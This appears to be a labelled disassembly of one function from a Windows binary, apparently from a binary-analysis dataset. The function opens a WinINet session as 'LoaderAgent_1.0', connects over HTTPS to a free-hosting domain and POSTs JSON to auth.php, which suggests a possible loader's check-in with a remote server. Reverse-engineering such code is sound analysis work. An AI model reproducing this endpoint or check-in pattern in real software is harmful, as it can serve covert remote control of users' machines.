Function at 0x401d20
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x417368
mov eax, dword fs:[0]
push eax
sub esp, 0x458
mov eax, dword [0x41f040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 0x458], edi
mov dword [ebp - 0x438], edi
mov dword [ebp - 0x43c], edi
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x42c]
push 0x28
xorps xmm0, xmm0
mov dword [ebp - 0x41c], 0
push str._error_:__Unable_to_connect_to_server_
movups xmmword [ebp - 0x42c], xmm0
mov dword [ebp - 0x418], 0
call fcn.004030f0
push 0
push 0
mov byte [ebp - 4], 1
lea eax, [ebp + 0xc]
cmp dword [ebp + 0x20], 0xf
push 0
cmova eax, dword [ebp + 0xc]
push 1
push str.LoaderAgent_1.0
mov dword [ebp - 0x450], eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x438], eax
test eax, eax
jne 0x401eba
push eax
push 1
sub esp, 0x28
lea edx, [ebp - 0x42c]
mov eax, esp
lea ecx, [ebp - 0x44c]
mov dword [eax + 0x24], 0
call fcn.00402a80
mov edx, eax
add esp, 0x30
mov al, byte [edx]
mov byte [edi], al
mov eax, dword [edx + 8]
mov ecx, dword [edx + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov byte [edx], 0
mov dword [edx + 8], 0
mov dword [edx + 0xc], 0
mov byte [edi + 0x10], 1
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x444]
push dword [ebp - 0x44c]
call fcn.004024c0
mov ecx, dword [ebp - 0x418]
cmp ecx, 0xf
jbe 0x401e67
mov edx, dword [ebp - 0x42c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401e5d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401eb4
push ecx
push edx
call fcn.00416375
add esp, 8
mov ecx, dword [ebp + 0x20]
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 0xf
mov byte [ebp - 0x42c], 0
cmp ecx, 0xf
jbe 0x401fea
mov edx, dword [ebp + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401fe0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401fe0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push 1
push 0
push 3
push 0
push 0
push 0x1bb
push str.pemapper.000webhostapp.com
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x45c], eax
test eax, eax
jne 0x401f7f
push eax
push 1
sub esp, 0x28
lea edx, [ebp - 0x42c]
mov eax, esp
lea ecx, [ebp - 0x44c]
mov dword [eax + 0x24], 0
call fcn.00402a80
mov edx, eax
add esp, 0x30
mov al, byte [edx]
mov byte [edi], al
mov eax, dword [edx + 8]
mov ecx, dword [edx + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov byte [edx], 0
mov dword [edx + 8], 0
mov dword [edx + 0xc], 0
mov byte [edi + 0x10], 1
mov byte [ebp - 4], 3
push dword [ebp - 0x44c]
lea ecx, [ebp - 0x444]
call fcn.004024c0
mov ecx, dword [ebp - 0x418]
cmp ecx, 0xf
jbe 0x401e67
mov edx, dword [ebp - 0x42c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401e5d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401eb4
jmp 0x401e5d
push 1
push 0x80000000
push 0
push 0
push 0
push str.auth.php
push str.POST
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
push dword [ebp + 0x1c]
mov esi, eax
push dword [ebp - 0x450]
mov dword [ebp - 0x454], esi
push 0x3b
push str.Content_Type:_application_json_r_nUser_Agent:_LoaderAgent_1.0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x401ff1
xorps xmm0, xmm0
mov byte [edi], al
lea edx, [ebp - 0x42c]
movq qword [edi + 8], xmm0
mov ecx, edi
call fcn.0040dfb0
mov byte [edi + 0x10], 1
jmp 0x401f42
push ecx
push edx
call fcn.00416375
add esp, 8
mov eax, edi
jmp 0x4021d6
cmp dword [ebp - 0x418], 0xf
lea eax, [ebp - 0x42c]
push 0x400
cmova eax, dword [ebp - 0x42c]
mov dword [ebp - 0x41c], 0
push 0
mov byte [eax], 0
lea eax, [ebp - 0x414]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x430], 0
lea eax, [ebp - 0x430]
push eax
push 0x3ff
lea eax, [ebp - 0x414]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4020fb
nop dword [eax]
nop dword [eax + eax]
mov edi, dword [ebp - 0x430]
test edi, edi
je 0x4020f5
mov edx, dword [ebp - 0x418]
mov eax, edx
mov ecx, dword [ebp - 0x41c]
sub eax, ecx
push edi
cmp edi, eax
ja 0x4020ba
lea eax, [ecx + edi]
cmp edx, 0xf
mov dword [ebp - 0x41c], eax
lea esi, [ebp - 0x42c]
cmova esi, dword [ebp - 0x42c]
lea eax, [ebp - 0x414]
add esi, ecx
push eax
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + edi], 0
add esp, 0xc
mov esi, dword [ebp - 0x454]
jmp 0x4020d3
lea eax, [ebp - 0x414]
push eax
push dword [ebp - 0x438]
lea ecx, [ebp - 0x42c]
push edi
call fcn.00402f90
lea eax, [ebp - 0x430]
push eax
push 0x3ff
lea eax, [ebp - 0x414]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x402060
mov edi, dword [ebp - 0x458]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x45c]
call esi
push dword [ebp - 0x438]
call esi
push 0
push 1
sub esp, 0x28
mov byte [ebp - 4], 6
mov eax, esp
lea edx, [ebp - 0x42c]
lea ecx, [ebp - 0x44c]
mov dword [eax + 0x24], 0
call fcn.00402a80
add esp, 0x30
mov cl, byte [eax]
mov byte [edi], cl
mov ecx, dword [eax + 8]
mov edx, dword [eax + 0xc]
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov byte [eax], 0
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
mov byte [edi + 0x10], 0
mov byte [ebp - 4], 7
jmp 0x401f31
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00416332
mov esp, ebp
pop ebp
ret